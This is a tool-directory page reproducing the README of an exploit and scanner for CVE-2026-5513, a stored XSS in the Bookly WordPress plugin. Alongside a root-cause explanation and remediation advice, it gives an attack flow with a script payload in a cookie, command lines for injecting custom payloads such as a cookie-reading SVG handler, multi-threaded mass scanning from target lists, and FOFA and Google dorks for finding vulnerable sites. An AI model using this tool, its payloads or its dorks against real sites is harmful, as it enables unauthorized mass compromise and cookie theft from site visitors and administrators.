Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-5513 — CVE-2026-5513: Bookly <= 27.2 Stored XSS via Cookie (Unauthenticated) | Kitploit
Tools/GitHubGitHub/xaanziu/cve-2026-5513
Vulnerability ScannersExploitationWeb Application ExploitationInformation GatheringWeb SecurityPenetration Testing
GitHubxaanziu/cve-2026-5513

CVE-2026-5513

CVE-2026-5513: Bookly <= 27.2 Stored XSS via Cookie (Unauthenticated)

View Repository
2 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-5513 — Bookly ≤ 27.2 Stored XSS via Cookie

CVE CVSS Type Auth

Overview

FieldValue
CVE IDCVE-2026-5513
VulnerabilityStored Cross-Site Scripting (XSS)
PluginBookly — Online Scheduling and Appointment Booking System
Affected≤ 27.2
Patched27.3+
CVSS 3.17.2 (High) — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
CWECWE-79
Auth RequiredNone
PrerequisiteRemember personal information in cookies must be enabled (disabled by default)

Description

The Bookly plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the bookly-customer-full-name cookie in versions up to and including 27.2 due to insufficient input sanitization and output escaping.

When the "Remember personal information in cookies" setting is enabled, the plugin reads the bookly-customer-full-name cookie value and renders it directly into the booking form HTML without proper escaping. An unauthenticated attacker can inject arbitrary JavaScript payloads via this cookie that execute whenever any user (including administrators) visits a page containing the Bookly booking form.

Attack Flow

root@kitploit:~
Attacker → Set malicious cookie (bookly-customer-full-name=<script>...</script>)
         → Visit page with Bookly booking form
         → Plugin reads cookie, renders value without escaping
         → XSS payload executes in victim's browser context

Root Cause

root@kitploit:~
// VULNERABLE — Bookly ≤ 27.2
$full_name = $_COOKIE['bookly-customer-full-name'];  // No sanitization
echo '<input type="text" value="' . $full_name . '" />';  // No escaping
root@kitploit:~
// PATCHED — Bookly 27.3+
$full_name = sanitize_text_field($_COOKIE['bookly-customer-full-name']);
echo '<input type="text" value="' . esc_attr($full_name) . '" />';

Features

root@kitploit:~
 ✓ Auto IP/Domain probing (HTTP/HTTPS, common ports, redirect detection)
 ✓ WordPress & Bookly plugin detection with version check
 ✓ Cookie setting detection (BooklyL10n JS analysis + canary reflection)
 ✓ Multi-context XSS testing (HTML, JavaScript, attribute injection)
 ✓ Payload injection with reflection verification
 ✓ Single target or mass scan from file
 ✓ Multi-threaded scanning (up to 20 threads)
 ✓ Proxy support (Burp, etc.)
 ✓ Auto-save vulnerable results
 ✓ Interactive menu + CLI modes

Installation

root@kitploit:~
pip install requests colorama

Usage

CLI Mode

root@kitploit:~
# Check single target
python CVE-2026-5513.py -u https://target.com -v

# Check single IP (auto-probe ports + redirects)
python CVE-2026-5513.py -u 167.99.0.203 -v

# Check + inject XSS payload
python CVE-2026-5513.py -u https://target.com --inject -v

# Custom XSS payload
python CVE-2026-5513.py -u https://target.com --inject --payload "<svg onload=alert(document.cookie)>"

# Mass scan from file
python CVE-2026-5513.py -l targets.txt -t 20 -o vuln.txt

# With Burp proxy
python CVE-2026-5513.py -u https://target.com -v --proxy http://127.0.0.1:8080

Interactive Mode

root@kitploit:~
python CVE-2026-5513.py

Options

Target Formats

The tool accepts any of these formats in -u or in the target list file:

root@kitploit:~
https://example.com
http://example.com
example.com
192.168.1.100
192.168.1.100:8080

For bare IPs, the tool automatically:

  • Probes ports 443, 80, 8443, 8080
  • Detects HTTP → HTTPS redirects
  • Detects IP → domain redirects (e.g. 167.99.0.203 → https://book.repairrite.com)
  • Scans WordPress subdirectories (/wp/, /blog/, /wordpress/, etc.)

Exploit Chain

root@kitploit:~
STEP 0 → Probe target (IP/domain → resolve base URL, detect redirects)
STEP 1 → Detect Bookly plugin (readme.txt, plugin dir, assets, version check)
STEP 2 → Check cookie setting (BooklyL10n JS analysis + canary reflection test)
STEP 3 → Test XSS reflection (HTML context, JS context, attribute context)
STEP 4 → Inject payload (if --inject mode, verify reflection)

Google Dorks

root@kitploit:~
# FOFA
body="bookly-responsive-appointment-booking-tool"
body="bookly-customer-full-name"
body="bookly-form-group" && body="wp-content/plugins/bookly"

# Google
inurl:"/wp-content/plugins/bookly-responsive-appointment-booking-tool/readme.txt"
intitle:"Book Appointment" inurl:"booking" intext:"bookly"

Remediation

PriorityAction
🔴Update Bookly to version 27.3+
🟡Disable "Remember personal information in cookies" in Bookly Settings → General
🟢Deploy WAF rules to filter XSS in cookie values

References

  • NVD — CVE-2026-5513
  • Wordfence Advisory
  • Tenable
  • Bookly Changelog

Disclaimer

This tool is provided for authorized security testing and educational purposes only. Unauthorized access to computer systems is illegal. Always obtain proper authorization before testing. The author is not responsible for any misuse of this tool.

License

MIT

Download Tool
FlagDescription
-u URLSingle target (URL, domain, or IP)
-l FILEFile with list of targets (one per line)
--injectInject XSS payload (default: check only)
--payload STRCustom XSS payload
-t NNumber of threads (default: 10, max: 20)
--proxy URLHTTP proxy (e.g. http://127.0.0.1:8080)
-o FILESave results to file
-vVerbose output
🟢Implement Content-Security-Policy (CSP) headers